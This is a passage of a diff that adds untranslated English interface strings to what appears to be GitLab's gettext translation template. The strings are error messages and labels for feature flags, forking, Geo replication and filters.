+msgid "Failed to make repository read-only. %{reason}"
+msgstr ""
+
+msgid "Failed to mark this issue as a duplicate because referenced issue was not found."
+msgstr ""
+
+msgid "Failed to move this issue because label was not found."
+msgstr ""
+
+msgid "Failed to move this issue because only a single label can be provided."
+msgstr ""
+
+msgid "Failed to move this issue because target project doesn't exist."
+msgstr ""
+
+msgid "Failed to promote label due to internal error. Please contact administrators."
+msgstr ""
+
+msgid "Failed to protect the branch"
+msgstr ""
+
+msgid "Failed to protect the environment"
+msgstr ""
+
+msgid "Failed to publish issue on status page."
+msgstr ""
+
+msgid "Failed to remove a Zoom meeting"
+msgstr ""
+
+msgid "Failed to remove a to-do item for the design."
+msgstr ""
+
+msgid "Failed to remove mirror."
+msgstr ""
+
+msgid "Failed to remove the pipeline schedule"
+msgstr ""
+
+msgid "Failed to remove user identity."
+msgstr ""
+
+msgid "Failed to remove user key."
+msgstr ""
+
+msgid "Failed to reset key. Please try again."
+msgstr ""
+
+msgid "Failed to retrieve page"
+msgstr ""
+
+msgid "Failed to save merge conflicts resolutions. Please try again!"
+msgstr ""
+
+msgid "Failed to save new settings"
+msgstr ""
+
+msgid "Failed to save preferences (%{error_message})."
+msgstr ""
+
+msgid "Failed to save preferences."
+msgstr ""
+
+msgid "Failed to set due date because the date format is invalid."
+msgstr ""
+
+msgid "Failed to set iteration on this issue. Please try again."
+msgstr ""
+
+msgid "Failed to signing using smartcard authentication"
+msgstr ""
+
+msgid "Failed to toggle the to-do status for the design."
+msgstr ""
+
+msgid "Failed to update branch!"
+msgstr ""
+
+msgid "Failed to update environment!"
+msgstr ""
+
+msgid "Failed to update framework"
+msgstr ""
+
+msgid "Failed to update issue status"
+msgstr ""
+
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
+msgid "Failed to update."
+msgstr ""
+
+msgid "Failed to upgrade."
+msgstr ""
+
+msgid "Failed to upload object map file"
+msgstr ""
+
+msgid "Failed to verify domain ownership"
+msgstr ""
+
+msgid "Failure"
+msgstr ""
+
+msgid "False positive"
+msgstr ""
+
+msgid "Fast-forward merge is not possible. Rebase the source branch onto %{targetBranch} to allow this merge request to be merged."
+msgstr ""
+
+msgid "Fast-forward merge is not possible. Rebase the source branch onto the target branch."
+msgstr ""
+
+msgid "Fast-forward merge without a merge commit"
+msgstr ""
+
+msgid "Faster releases. Better code. Less pain."
+msgstr ""
+
+msgid "Favicon was successfully removed."
+msgstr ""
+
+msgid "Feature Flags"
+msgstr ""
+
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
+msgid "Feature flag status"
+msgstr ""
+
+msgid "Feature flag was not removed."
+msgstr ""
+
+msgid "Feature flag was successfully removed."
+msgstr ""
+
+msgid "FeatureFlags|%d user"
+msgid_plural "FeatureFlags|%d users"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "FeatureFlags|%{percent} by available ID"
+msgstr ""
+
+msgid "FeatureFlags|%{percent} by session ID"
+msgstr ""
+
+msgid "FeatureFlags|%{percent} by user ID"
+msgstr ""
+
+msgid "FeatureFlags|%{percent} randomly"
+msgstr ""
+
+msgid "FeatureFlags|* (All Environments)"
+msgstr ""
+
+msgid "FeatureFlags|* (All environments)"
+msgstr ""
+
+msgid "FeatureFlags|API URL"
+msgstr ""
+
+msgid "FeatureFlags|Active"
+msgstr ""
+
+msgid "FeatureFlags|Add strategy"
+msgstr ""
+
+msgid "FeatureFlags|All Environments"
+msgstr ""
+
+msgid "FeatureFlags|All Users"
+msgstr ""
+
+msgid "FeatureFlags|All users"
+msgstr ""
+
+msgid "FeatureFlags|Configure"
+msgstr ""
+
+msgid "FeatureFlags|Configure feature flags"
+msgstr ""
+
+msgid "FeatureFlags|Consider using the more flexible \"Percent rollout\" strategy instead."
+msgstr ""
+
+msgid "FeatureFlags|Create feature flag"
+msgstr ""
+
+msgid "FeatureFlags|Delete %{name}?"
+msgstr ""
+
+msgid "FeatureFlags|Delete feature flag"
+msgstr ""
+
+msgid "FeatureFlags|Description"
+msgstr ""
+
+msgid "FeatureFlags|Edit Feature Flag"
+msgstr ""
+
+msgid "FeatureFlags|Edit User List"
+msgstr ""
+
+msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
+msgstr ""
+
+msgid "FeatureFlags|Environment Spec"
+msgstr ""
+
+msgid "FeatureFlags|Environment Specs"
+msgstr ""
+
+msgid "FeatureFlags|Feature Flag"
+msgstr ""
+
+msgid "FeatureFlags|Feature Flag User List Details"
+msgstr ""
+
+msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
+msgstr ""
+
+msgid "FeatureFlags|Feature Flag has no strategies"
+msgstr ""
+
+msgid "FeatureFlags|Feature Flags"
+msgstr ""
+
+msgid "FeatureFlags|Feature flag %{name} will be removed. Are you sure?"
+msgstr ""
+
+msgid "FeatureFlags|Feature flags allow you to configure your code into different flavors by dynamically toggling certain functionality."
+msgstr ""
+
+msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
+msgstr ""
+
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
+msgid "FeatureFlags|Get started with feature flags"
+msgstr ""
+
+msgid "FeatureFlags|Get started with user lists"
+msgstr ""
+
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
+msgid "FeatureFlags|ID"
+msgstr ""
+
+msgid "FeatureFlags|Inactive"
+msgstr ""
+
+msgid "FeatureFlags|Inactive flag for %{scope}"
+msgstr ""
+
+msgid "FeatureFlags|Include additional user IDs"
+msgstr ""
+
+msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
+msgstr ""
+
+msgid "FeatureFlags|Instance ID"
+msgstr ""
+
+msgid "FeatureFlags|List details"
+msgstr ""
+
+msgid "FeatureFlags|Loading feature flags"
+msgstr ""
+
+msgid "FeatureFlags|Loading user lists"
+msgstr ""
+
+msgid "FeatureFlags|More information"
+msgstr ""
+
+msgid "FeatureFlags|Name"
+msgstr ""
+
+msgid "FeatureFlags|New"
+msgstr ""
+
+msgid "FeatureFlags|New Feature Flag"
+msgstr ""
+
+msgid "FeatureFlags|New User List"
+msgstr ""
+
+msgid "FeatureFlags|New feature flag"
+msgstr ""
+
+msgid "FeatureFlags|New user list"
+msgstr ""
+
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
+msgid "FeatureFlags|Percent of users"
+msgstr ""
+
+msgid "FeatureFlags|Percent rollout"
+msgstr ""
+
+msgid "FeatureFlags|Percent rollout (logged in users)"
+msgstr ""
+
+msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
+msgstr ""
+
+msgid "FeatureFlags|Protected"
+msgstr ""
+
+msgid "FeatureFlags|Remove"
+msgstr ""
+
+msgid "FeatureFlags|Rollout Percentage"
+msgstr ""
+
+msgid "FeatureFlags|Rollout Strategy"
+msgstr ""
+
+msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
+msgstr ""
+
+msgid "FeatureFlags|Status"
+msgstr ""
+
+msgid "FeatureFlags|Strategies"
+msgstr ""
+
+msgid "FeatureFlags|Target environments"
+msgstr ""
+
+msgid "FeatureFlags|There was an error fetching the feature flags."
+msgstr ""
+
+msgid "FeatureFlags|There was an error fetching the user lists."
+msgstr ""
+
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
+msgid "FeatureFlags|Try again in a few moments or contact your support team."
+msgstr ""
+
+msgid "FeatureFlags|User IDs"
+msgstr ""
+
+msgid "FeatureFlags|User List"
+msgstr ""
+
+msgid "FeatureFlags|User Lists"
+msgstr ""
+
+msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
+msgid "FeatureFlag|Percentage"
+msgstr ""
+
+msgid "FeatureFlag|Select a user list"
+msgstr ""
+
+msgid "FeatureFlag|Select the environment scope for this feature flag"
+msgstr ""
+
+msgid "FeatureFlag|There are no configured user lists"
+msgstr ""
+
+msgid "FeatureFlag|Type"
+msgstr ""
+
+msgid "FeatureFlag|User IDs"
+msgstr ""
+
+msgid "FeatureFlag|User List"
+msgstr ""
+
+msgid "Feb"
+msgstr ""
+
+msgid "February"
+msgstr ""
+
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
+msgid "Fetching incoming email"
+msgstr ""
+
+msgid "File"
+msgstr ""
+
+msgid "File %{current} of %{total}"
+msgstr ""
+
+msgid "File Hooks"
+msgstr ""
+
+msgid "File Hooks (%{count})"
+msgstr ""
+
+msgid "File added"
+msgstr ""
+
+msgid "File browser"
+msgstr ""
+
+msgid "File deleted"
+msgstr ""
+
+msgid "File format is no longer supported"
+msgstr ""
+
+msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
+msgstr ""
+
+msgid "File mode changed from %{a_mode} to %{b_mode}"
+msgstr ""
+
+msgid "File moved"
+msgstr ""
+
+msgid "File name"
+msgstr ""
+
+msgid "File renamed with no changes."
+msgstr ""
+
+msgid "File synchronization concurrency limit"
+msgstr ""
+
+msgid "File templates"
+msgstr ""
+
+msgid "File upload error."
+msgstr ""
+
+msgid "Filename"
+msgstr ""
+
+msgid "Files"
+msgstr ""
+
+msgid "Files breadcrumb"
+msgstr ""
+
+msgid "Files with large changes are collapsed by default."
+msgstr ""
+
+msgid "Files, directories, and submodules in the path %{path} for commit reference %{ref}"
+msgstr ""
+
+msgid "Fill in the fields below, turn on %{strong_open}Enable SAML authentication for this group%{strong_close}, and press %{strong_open}Save changes%{strong_close}"
+msgstr ""
+
+msgid "Filter"
+msgstr ""
+
+msgid "Filter by"
+msgstr ""
+
+msgid "Filter by %{issuable_type} that are currently closed."
+msgstr ""
+
+msgid "Filter by %{issuable_type} that are currently open."
+msgstr ""
+
+msgid "Filter by %{page_context_word} that are currently open."
+msgstr ""
+
+msgid "Filter by Git revision"
+msgstr ""
+
+msgid "Filter by issues that are currently closed."
+msgstr ""
+
+msgid "Filter by issues that are currently opened."
+msgstr ""
+
+msgid "Filter by label"
+msgstr ""
+
+msgid "Filter by merge requests that are currently closed and unmerged."
+msgstr ""
+
+msgid "Filter by merge requests that are currently merged."
+msgstr ""
+
+msgid "Filter by milestone name"
+msgstr ""
+
+msgid "Filter by name"
+msgstr ""
+
+msgid "Filter by status"
+msgstr ""
+
+msgid "Filter by test cases that are currently archived."
+msgstr ""
+
+msgid "Filter by test cases that are currently open."
+msgstr ""
+
+msgid "Filter by two-factor authentication"
+msgstr ""
+
+msgid "Filter by user"
+msgstr ""
+
+msgid "Filter parameters are not valid. Make sure that the end date is after the start date."
+msgstr ""
+
+msgid "Filter pipelines"
+msgstr ""
+
+msgid "Filter results"
+msgstr ""
+
+msgid "Filter results by group"
+msgstr ""
+
+msgid "Filter results by project"
+msgstr ""
+
+msgid "Filter results..."
+msgstr ""
+
+msgid "Filter your repositories by name"
+msgstr ""
+
+msgid "Filter..."
+msgstr ""
+
+msgid "Find File"
+msgstr ""
+
+msgid "Find bugs in your code with API fuzzing."
+msgstr ""
+
+msgid "Find bugs in your code with coverage-guided fuzzing."
+msgstr ""
+
+msgid "Find by path"
+msgstr ""
+
+msgid "Find file"
+msgstr ""
+
+msgid "Fingerprint"
+msgstr ""
+
+msgid "Fingerprints"
+msgstr ""
+
+msgid "Finish editing this message first!"
+msgstr ""
+
+msgid "Finish setting up your dedicated account for %{group_name}."
+msgstr ""
+
+msgid "Finished"
+msgstr ""
+
+msgid "Finished at"
+msgstr ""
+
+msgid "First Seen"
+msgstr ""
+
+msgid "First day of the week"
+msgstr ""
+
+msgid "First name"
+msgstr ""
+
+msgid "First seen"
+msgstr ""
+
+msgid "Fixed burndown chart"
+msgstr ""
+
+msgid "Fixed date"
+msgstr ""
+
+msgid "Fixed due date"
+msgstr ""
+
+msgid "Fixed start date"
+msgstr ""
+
+msgid "Fixed:"
+msgstr ""
+
+msgid "Flags"
+msgstr ""
+
+msgid "FlowdockService|Flowdock Git source token"
+msgstr ""
+
+msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
+msgstr ""
+
+msgid "Focus filter bar"
+msgstr ""
+
+msgid "FogBugz Email"
+msgstr ""
+
+msgid "FogBugz Import"
+msgstr ""
+
+msgid "FogBugz Password"
+msgstr ""
+
+msgid "FogBugz URL"
+msgstr ""
+
+msgid "FogBugz import"
+msgstr ""
+
+msgid "Folder/%{name}"
+msgstr ""
+
+msgid "Follow"
+msgstr ""
+
+msgid "Followed Users' Activity"
+msgstr ""
+
+msgid "Followed users"
+msgstr ""
+
+msgid "Font Color"
+msgstr ""
+
+msgid "Footer message"
+msgstr ""
+
+msgid "For a faster browsing experience, some files are collapsed by default."
+msgstr ""
+
+msgid "For additional information, review your %{link_to} or contact your group owner."
+msgstr ""
+
+msgid "For additional information, review your group membership: %{link_to} or contact your group owner."
+msgstr ""
+
+msgid "For each job, clone the repository."
+msgstr ""
+
+msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
+msgstr ""
+
+msgid "For general work"
+msgstr ""
+
+msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
+msgstr ""
+
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
+msgid "For more info, read the documentation."
+msgstr ""
+
+msgid "For more information on how the number of active users is calculated, see the %{self_managed_subscriptions_doc_link} documentation."
+msgstr ""
+
+msgid "For more information, go to the "
+msgstr ""
+
+msgid "For more information, see the File Hooks documentation."
+msgstr ""
+
+msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
+msgstr ""
+
+msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgstr ""
+
+msgid "Forgot your password?"
+msgstr ""
+
+msgid "Fork"
+msgstr ""
+
+msgid "Fork Error!"
+msgstr ""
+
+msgid "Fork project"
+msgstr ""
+
+msgid "Fork project?"
+msgstr ""
+
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
+msgid "ForkProject|Cancel"
+msgstr ""
+
+msgid "ForkProject|Create a group"
+msgstr ""
+
+msgid "ForkProject|Fork project"
+msgstr ""
+
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
+msgid "ForkProject|Internal"
+msgstr ""
+
+msgid "ForkProject|Private"
+msgstr ""
+
+msgid "ForkProject|Project access must be granted explicitly to each user. If this project is part of a group, access will be granted to members of the group."
+msgstr ""
+
+msgid "ForkProject|Public"
+msgstr ""
+
+msgid "ForkProject|Select a namespace"
+msgstr ""
+
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
+msgid "ForkProject|The project can be accessed by any logged in user."
+msgstr ""
+
+msgid "ForkProject|The project can be accessed without any authentication."
+msgstr ""
+
+msgid "ForkProject|Visibility level"
+msgstr ""
+
+msgid "ForkProject|Want to house several dependent projects under the same namespace?"
+msgstr ""
+
+msgid "ForkedFromProjectPath|Forked from"
+msgstr ""
+
+msgid "ForkedFromProjectPath|Forked from an inaccessible project"
+msgstr ""
+
+msgid "Forking in progress"
+msgstr ""
+
+msgid "Forks"
+msgstr ""
+
+msgid "Format: %{dateFormat}"
+msgstr ""
+
+msgid "Found errors in your %{gitlab_ci_yml}:"
+msgstr ""
+
+msgid "Found errors in your .gitlab-ci.yml:"
+msgstr ""
+
+msgid "Framework successfully deleted"
+msgstr ""
+
+msgid "Free Trial"
+msgstr ""
+
+msgid "Free Trial of GitLab.com Ultimate"
+msgstr ""
+
+msgid "Freeze end"
+msgstr ""
+
+msgid "Freeze start"
+msgstr ""
+
+msgid "Frequency"
+msgstr ""
+
+msgid "Friday"
+msgstr ""
+
+msgid "From"
+msgstr ""
+
+msgid "From %{code_open}%{source_title}%{code_close} into"
+msgstr ""
+
+msgid "From %{providerTitle}"
+msgstr ""
+
+msgid "From issue creation until deploy to production"
+msgstr ""
+
+msgid "From merge request merge until deploy to production"
+msgstr ""
+
+msgid "From the Kubernetes cluster details view, applications list, install GitLab Runner."
+msgstr ""
+
+msgid "Full name"
+msgstr ""
+
+msgid "GPG Key ID:"
+msgstr ""
+
+msgid "GPG Keys"
+msgstr ""
+
+msgid "GPG keys allow you to verify signed commits."
+msgstr ""
+
+msgid "GPG signature (loading...)"
+msgstr ""
+
+msgid "General"
+msgstr ""
+
+msgid "General Settings"
+msgstr ""
+
+msgid "General pipelines"
+msgstr ""
+
+msgid "Generate a default set of labels"
+msgstr ""
+
+msgid "Generate key"
+msgstr ""
+
+msgid "Generate new export"
+msgstr ""
+
+msgid "Generate new token"
+msgstr ""
+
+msgid "Generic package file size in bytes"
+msgstr ""
+
+msgid "Geo"
+msgstr ""
+
+msgid "Geo Nodes"
+msgstr ""
+
+msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
+msgstr ""
+
+msgid "Geo Replication"
+msgstr ""
+
+msgid "Geo Settings"
+msgstr ""
+
+msgid "Geo nodes are paused using a command run on the node"
+msgstr ""
+
+msgid "Geo sites"
+msgstr ""
+
+msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
+msgstr ""
+
+msgid "GeoNodeSyncStatus|Node is failing or broken."
+msgstr ""
+
+msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
+msgstr ""
+
+msgid "GeoNodes|Consult Geo troubleshooting information"
+msgstr ""
+
+msgid "GeoNodes|Data replication lag"
+msgstr ""
+
+msgid "GeoNodes|Does not match the primary storage configuration"
+msgstr ""
+
+msgid "GeoNodes|Full"
+msgstr ""
+
+msgid "GeoNodes|GitLab version"
+msgstr ""
+
+msgid "GeoNodes|GitLab version does not match the primary node version"
+msgstr ""
+
+msgid "GeoNodes|Health status"
+msgstr ""
+
+msgid "GeoNodes|Internal URL"
+msgstr ""
+
+msgid "GeoNodes|Last event ID processed by cursor"
+msgstr ""
+
+msgid "GeoNodes|Last event ID seen from primary"
+msgstr ""
+
+msgid "GeoNodes|Learn more about Geo node statuses"
+msgstr ""
+
+msgid "GeoNodes|Loading nodes"
+msgstr ""
+
+msgid "GeoNodes|New node"
+msgstr ""
+
+msgid "GeoNodes|Node Authentication was successfully repaired."
+msgstr ""
+
+msgid "GeoNodes|Node URL"
+msgstr ""
+
+msgid "GeoNodes|Node was successfully removed."
+msgstr ""
+
+msgid "GeoNodes|Node's status was updated %{timeAgo}."
+msgstr ""
+
+msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
+msgstr ""
+
+msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
+msgstr ""
+
+msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
+msgstr ""
+
+msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
+msgstr ""
+
+msgid "GeoNodes|Replication slot WAL"
+msgstr ""
+
+msgid "GeoNodes|Replication slots"
+msgstr ""
+
+msgid "GeoNodes|Replication status"
+msgstr ""
+
+msgid "GeoNodes|Selective (%{syncLabel})"
+msgstr ""
+
+msgid "GeoNodes|Selective synchronization"
+msgstr ""
+
+msgid "GeoNodes|Something went wrong while changing node status"
+msgstr ""
+
+msgid "GeoNodes|Something went wrong while fetching nodes"
+msgstr ""
+
+msgid "GeoNodes|Something went wrong while removing node"
+msgstr ""
+
+msgid "GeoNodes|Something went wrong while repairing node"
+msgstr ""
+
+msgid "GeoNodes|Storage config"
+msgstr ""
+
+msgid "GeoNodes|Sync settings"
+msgstr ""
+
+msgid "GeoNodes|Unused slots"
+msgstr ""
+
+msgid "GeoNodes|Updated %{timeAgo}"
+msgstr ""
+
+msgid "GeoNodes|Used slots"
+msgstr ""
+
+msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
+msgstr ""
+
+msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
+msgstr ""
+
+msgid "GeoNodes|primary node"
+msgstr ""
+
+msgid "GeoNodes|secondary nodes"
+msgstr ""
+
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
+msgid "Geo|%{label} can't be blank"
+msgstr ""
+
+msgid "Geo|%{label} should be between 1-999"
+msgstr ""
+
+msgid "Geo|%{name} is scheduled for forced re-download"
+msgstr ""
+
+msgid "Geo|%{name} is scheduled for re-sync"
+msgstr ""
+
+msgid "Geo|%{name} is scheduled for re-verify"
+msgstr ""
+
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
+msgid "Geo|Add site"
+msgstr ""
+
+msgid "Geo|Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
+msgstr ""
+
+msgid "Geo|All %{replicable_name}"
+msgstr ""
+
+msgid "Geo|All projects"
+msgstr ""
+
+msgid "Geo|All projects are being scheduled for resync"
+msgstr ""
+
+msgid "Geo|All projects are being scheduled for reverify"
+msgstr ""
+
+msgid "Geo|Allowed Geo IP can't be blank"
+msgstr ""
+
+msgid "Geo|Allowed Geo IP should be between 1 and 255 characters"
+msgstr ""
+
+msgid "Geo|Allowed Geo IP should contain valid IP addresses"
+msgstr ""
+
+msgid "Geo|Connection timeout can't be blank"
+msgstr ""
+
+msgid "Geo|Connection timeout must be a number"
+msgstr ""
+
+msgid "Geo|Connection timeout should be between 1-120"
+msgstr ""
+
+msgid "Geo|Could not remove tracking entry for an existing project."
+msgstr ""
+
+msgid "Geo|Could not remove tracking entry for an existing upload."
+msgstr ""
+
+msgid "Geo|Data replication lag"
+msgstr ""
+
+msgid "Geo|Discover GitLab Geo"
+msgstr ""
+
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
+msgid "Geo|Failed"
+msgstr ""
+
+msgid "Geo|Filter by status"
+msgstr ""
+
+msgid "Geo|Geo Status"
+msgstr ""
+
+msgid "Geo|Geo sites"
+msgstr ""
+
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
+msgid "Geo|In progress"
+msgstr ""
+
+msgid "Geo|In sync"
+msgstr ""
+
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
+msgid "Geo|Last repository check run"
+msgstr ""
+
+msgid "Geo|Last successful sync"
+msgstr ""
+
+msgid "Geo|Last sync attempt"
+msgstr ""
+
+msgid "Geo|Last time verified"
+msgstr ""
+
+msgid "Geo|Learn more about Geo"
+msgstr ""
+
+msgid "Geo|Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
+msgstr ""
+
+msgid "Geo|Never"
+msgstr ""
+
+msgid "Geo|Next sync scheduled at"
+msgstr ""
+
+msgid "Geo|Node name can't be blank"
+msgstr ""
+
+msgid "Geo|Node name should be between 1 and 255 characters"
+msgstr ""
+
+msgid "Geo|Not synced yet"
+msgstr ""
+
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
+msgid "Geo|Pending synchronization"
+msgstr ""
+
+msgid "Geo|Pending verification"
+msgstr ""
+
+msgid "Geo|Please refer to Geo Troubleshooting."
+msgstr ""
+
+msgid "Geo|Primary node"
+msgstr ""
+
+msgid "Geo|Primary site"
+msgstr ""
+
+msgid "Geo|Project"
+msgstr ""
+
+msgid "Geo|Project (ID: %{project_id}) no longer exists on the primary. It is safe to remove this entry, as this will not remove any data on disk."
+msgstr ""
+
+msgid "Geo|Projects in certain groups"
+msgstr ""
+
+msgid "Geo|Projects in certain storage shards"
+msgstr ""
+
+msgid "Geo|Queued"
+msgstr ""
+
+msgid "Geo|Redownload"
+msgstr ""
+
+msgid "Geo|Remove"
+msgstr ""
+
+msgid "Geo|Remove entry"
+msgstr ""
+
+msgid "Geo|Remove tracking database entry"
+msgstr ""
+
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
+msgid "Geo|Resync"
+msgstr ""
+
+msgid "Geo|Resync all"
+msgstr ""
+
+msgid "Geo|Retry count"
+msgstr ""
+
+msgid "Geo|Reverify"
+msgstr ""
+
+msgid "Geo|Reverify all"
+msgstr ""
+
+msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
+msgstr ""
+
+msgid "Geo|Secondary node"
+msgstr ""
+
+msgid "Geo|Secondary site"
+msgstr ""
+
+msgid "Geo|Status"
+msgstr ""
+
+msgid "Geo|Storage config"
+msgstr ""
+
+msgid "Geo|Synced"
+msgstr ""
+
+msgid "Geo|Synced at"
+msgstr ""
+
+msgid "Geo|Synchronization failed - %{error}"
+msgstr ""
+
+msgid "Geo|Synchronization of %{itemTitle} is disabled."
+msgstr ""
+
+msgid "Geo|Synchronization settings"
+msgstr ""
+
+msgid "Geo|The database is currently %{db_lag} behind the primary node."
+msgstr ""
+
+msgid "Geo|The node is currently %{minutes_behind} behind the primary node."
+msgstr ""
+
+msgid "Geo|There are no %{replicable_type} to show"
+msgstr ""
+
+msgid "Geo|Tracking database entry will be removed. Are you sure?"
+msgstr ""
+
+msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
+msgstr ""
+
+msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
+msgstr ""
+
+msgid "Geo|URL can't be blank"
+msgstr ""
+
+msgid "Geo|URL must be a valid url (ex: https://gitlab.com)"
+msgstr ""
+
+msgid "Geo|Undefined"
+msgstr ""
+
+msgid "Geo|Unknown state"
+msgstr ""
+
+msgid "Geo|Verification failed - %{error}"
+msgstr ""
+
+msgid "Geo|Verificaton information"
+msgstr ""
+
+msgid "Geo|Waiting for scheduler"
+msgstr ""
+
+msgid "Geo|With GitLab Geo, you can install a special read-only and replicated instance anywhere."
+msgstr ""
+
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
+msgstr ""
+
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgstr ""
+
+msgid "Geo|misconfigured"
+msgstr ""
+
+msgid "Geo|primary"
+msgstr ""
+
+msgid "Geo|secondary"
+msgstr ""
+
+msgid "Get a free instance review"
+msgstr ""
+
+msgid "Get started"
+msgstr ""
+
+msgid "Get started with GitLab"
+msgstr ""
+
+msgid "Get started with error tracking"
+msgstr ""
+
+msgid "Get started with performance monitoring"
+msgstr ""
+
+msgid "Get started!"
+msgstr ""
+
+msgid "Getting started with releases"
+msgstr ""
+
+msgid "Git"
+msgstr ""
+
+msgid "Git GC period"
+msgstr ""
+
+msgid "Git LFS is not enabled on this GitLab server, contact your admin."
+msgstr ""
+
+msgid "Git LFS objects will be synced if LFS is %{docs_link_start}enabled for the project%{docs_link_end}. Push mirrors will %{strong_open}not%{strong_close} sync LFS objects over SSH."
+msgstr ""
+
+msgid "Git LFS status:"
+msgstr ""
+
+msgid "Git global setup"
+msgstr ""
+
+msgid "Git repository URL"
+msgstr ""
+
+msgid "Git revision"
+msgstr ""
+
+msgid "Git shallow clone"
+msgstr ""
+
+msgid "Git strategy"
+msgstr ""
+
+msgid "Git transfer in progress"
+msgstr ""
+
+msgid "Git version"
+msgstr ""
+
+msgid "GitHub API rate limit exceeded. Try again after %{reset_time}"
+msgstr ""
+
+msgid "GitHub import"
+msgstr ""
+
+msgid "GitHubImporter|*Merged by: %{author} at %{timestamp}*"
+msgstr ""
+
+msgid "GitLab"
+msgstr ""
+
+msgid "GitLab / Unsubscribe"
+msgstr ""
+
+msgid "GitLab API"
+msgstr ""
+
+msgid "GitLab Account Request"
+msgstr ""
+
+msgid "GitLab Billing Team."
+msgstr ""
+
+msgid "GitLab Import"
+msgstr ""
+
+msgid "GitLab Issue"
+msgstr ""
+
+msgid "GitLab Pages"
+msgstr ""
+
+msgid "GitLab Shell"
+msgstr ""
+
+msgid "GitLab Support Bot"
+msgstr ""
+
+msgid "GitLab Team Member"
+msgstr ""
+
+msgid "GitLab User"
+msgstr ""
+
+msgid "GitLab Workhorse"
+msgstr ""
+
+msgid "GitLab account request rejected"
+msgstr ""
+
+msgid "GitLab commit"
+msgstr ""
+
+msgid "GitLab export"
+msgstr ""
+
+msgid "GitLab for Slack"
+msgstr ""
+
+msgid "GitLab group: %{source_link}"
+msgstr ""
+
+msgid "GitLab is a complete DevOps platform, delivered as a single application, fundamentally changing the way Development, Security, and Ops teams collaborate"
+msgstr ""
+
+msgid "GitLab is a complete DevOps platform, delivered as a single application, fundamentally changing the way%{br_tag}Development, Security, and Ops teams collaborate"
+msgstr ""
+
+msgid "GitLab is a single application for the entire software development lifecycle. From project planning and source code management to CI/CD, monitoring, and security."
+msgstr ""
+
+msgid "GitLab is obtaining a Let's Encrypt SSL certificate for this domain. This process can take some time. Please try again later."
